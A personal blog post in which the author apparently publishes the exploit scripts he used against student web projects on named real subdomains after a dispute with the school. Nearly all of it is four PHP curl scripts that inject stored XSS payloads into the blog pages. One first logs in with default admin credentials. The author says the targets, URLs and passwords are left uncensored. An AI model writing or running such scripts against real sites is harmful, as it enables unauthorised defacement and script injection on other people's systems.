Hey G33ks,
So, the storm has settled down between the skrubs from Landstede and me.
So I felt it was safe enough to release the exploit codes :)
It were a total of 3 exploits.
All the exploit codes below are 100% how I used them, all URLs, usernames, password etc. are 100% uncensored!
Please note that the exploits *should* have been patched (which gives them 0 reason to complain against me for publishing it) since it's about 3-4 months ago at the time of writing.
Well, here you go:

Exploit 1 - April 24 2017

<?php
� /*
�� * Exploit by FinlayDaG33k
�� * https://aberg.newdeveloper.nl/pages/blog.php 
�� *
�� * "THE FINLAYDAG33K LICENSE" (Revision 2), Based on the "BEERWARE LICENSE":
�� * <Aroop "FinlayDaG33k" Roelofs> wrote this file.
�� * As long as you retain this notice you can do whatever you want with this stuff. 
�� * If we meet some day, you should buy me a drink.
�� * Hugs are mandatory when meeting me!
�� * Aroop "FinlayDaG33k" Roelofs Can NOT be held liable for any damages done!
�� */

� // Build our message
� $message = urlencode('<h1>Exploited By <a href="https://www.finlaydag33k.nl" target="_blank">FinlayDaG33k</a></h1><hr>');
� $message .= urlencode('<br />XSS Test (see HTML Source): <script>alert("Exploited by FinlayDaG33k");</script>');

� // Initialize our Curl instance
� $ch = curl_init();

� // Set some options
� curl_setopt($ch, CURLOPT_URL,"https://aberg.newdeveloper.nl/pages/blog.php");
� curl_setopt($ch, CURLOPT_POST, 1);
� curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

� // Add our message to the POST body
� curl_setopt($ch, CURLOPT_POSTFIELDS,"item=".$message);

� // Execute the request
� // Then end the script
� curl_exec ($ch);
� curl_close ($ch);
� echo "Exploit send!";  

Exploit 2 - May 1 2017

<?php
� /*
�� * Exploit by FinlayDaG33k
�� * https://aberg.newdeveloper.nl/pages/blog.php 
�� *
�� * "THE FINLAYDAG33K LICENSE" (Revision 2), Based on the "BEERWARE LICENSE":
�� * <Aroop "FinlayDaG33k" Roelofs> wrote this file.
�� * As long as you retain this notice you can do whatever you want with this stuff. 
�� * If we meet some day, you should buy me a drink.
�� * Hugs are mandatory when meeting me!
�� * Aroop "FinlayDaG33k" Roelofs Can NOT be held liable for any damages done!
�� */ 
� // Build our message
� $message = urlencode('<h1>Blog exploit By <a href="https://www.finlaydag33k.nl" target="_blank">FinlayDaG33k</a></h1>');
� $message .= urlencode('<br />XSS Test (see HTML Source): <script>alert("Exploited by FinlayDaG33k");</script>');

� // Initialize our Curl request
� $ch = curl_init();

� // Set some options
� curl_setopt($ch, CURLOPT_URL,"https://aberg.newdeveloper.nl/pages/admin.php");
� curl_setopt($ch, CURLOPT_POST, 1);
� curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
� curl_setopt($ch, CURLOPT_VERBOSE, true);
� curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
� curl_setopt($ch, CURLOPT_TIMEOUT, 10);
� curl_setopt($ch, CURLOPT_HEADER, true);

� // Use memory for our cookie
� curl_setopt($ch, CURLOPT_COOKIEFILE, '-');

� // Set the username and password
� curl_setopt($ch, CURLOPT_POSTFIELDS,"user=admin&password=test");

� // Add our headers
� curl_setopt($ch, CURLOPT_HTTPHEADER, array(
��� 'Host: aberg.newdeveloper.nl',
��� 'User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0.2) Gecko/20100101 Firefox/6.0.2',
��� 'Accept: */*',
��� 'Accept-Language: en-us,en;q=0.5',
��� 'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7',
��� 'Connection: keep-alive'
� ));

� // Authenticate outselves
� $result = curl_exec ($ch);

� // Get our response headers
� $header_size = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
� $header = substr($result, 0, $header_size);

� // Set a new url option
� curl_setopt($ch, CURLOPT_URL,"https://aberg.newdeveloper.nl/pages/blog.php");

� // Post our own message
� curl_setopt($ch, CURLOPT_POSTFIELDS,"item=".$message);
� curl_exec ($ch);

� // Clean up
� curl_close ($ch);
� echo "Exploit send!";  

Exploit 3 - May 4 2017

<?php
� /*
�� * Exploit by FinlayDaG33k
�� * https://cschotman.newdeveloper.nl/pages/blog.php 
�� *
�� * "THE FINLAYDAG33K LICENSE" (Revision 2), Based on the "BEERWARE LICENSE":
�� * <Aroop "FinlayDaG33k" Roelofs> wrote this file.
�� * As long as you retain this notice you can do whatever you want with this stuff. 
�� * If we meet some day, you should buy me a drink.
�� * Hugs are mandatory when meeting me!
�� * Aroop "FinlayDaG33k" Roelofs Can NOT be held liable for any damages done!
�� */

� // Build our message
� $message = urlencode('This exploit is written on April the 24rd 2017 with ID "FDG-2017-00003".');
� $message .= urlencode('<br />XSS Test (see HTML Source): <script>alert("Exploited by FinlayDaG33k");</script>');
� 
� // Build some POST data
� $postdata = urlencode('send_post=HUEHUEHUE&new_title=Blog exploit By <a href="https://www.finlaydag33k.nl" target="_blank">FinlayDaG33k</a>&new_post='.$message);

� // Initialize a new Curl instance
� $ch = curl_init();

� // Set some options
� curl_setopt($ch, CURLOPT_URL,"https://cschotman.newdeveloper.nl/blog/new_post.php");
� curl_setopt($ch, CURLOPT_POST, 1);
� curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
� curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

� // Add our POST data
� curl_setopt($ch, CURLOPT_POSTFIELDS,$postdata);

� // Send the request
� // Then close our handler
� $result = curl_exec($ch);
� curl_close ($ch);

� // Dump the result
� print_r($result);  

Exploit 5 - May 4 2017 (same as Exploit #1, but against different target)

<?php
� /*
�� * Exploit by FinlayDaG33k
�� * https://pmetz.newdeveloper.nl/pages/blog.php 
�� *
�� * "THE FINLAYDAG33K LICENSE" (Revision 2), Based on the "BEERWARE LICENSE":
�� * <Aroop "FinlayDaG33k" Roelofs> wrote this file.
�� * As long as you retain this notice you can do whatever you want with this stuff. 
�� * If we meet some day, you should buy me a drink.
�� * Hugs are mandatory when meeting me!
�� * Aroop "FinlayDaG33k" Roelofs Can NOT be held liable for any damages done!
�� */
� �
�� // Build our message
�� $message = urlencode('<h1>Exploited By <a href="https://www.finlaydag33k.nl" target="_blank">FinlayDaG33k</a></h1><hr>');
�� $message .= urlencode('<br />XSS Test (see HTML Source): <script>alert("Exploited by FinlayDaG33k");</script>');

�� // Initialize a Curl instance
�� $ch = curl_init();

�� // Set some options
�� curl_setopt($ch, CURLOPT_URL,"https://pmetz.newdeveloper.nl/pages/blog.php ");
�� curl_setopt($ch, CURLOPT_POST, 1);
�� curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

�� // Add our message
�� curl_setopt($ch, CURLOPT_POSTFIELDS,"item=".$message);

�� // Execute the request
�� // Then clean up
�� curl_exec ($ch);
�� curl_close ($ch);
�� echo "Exploit send!";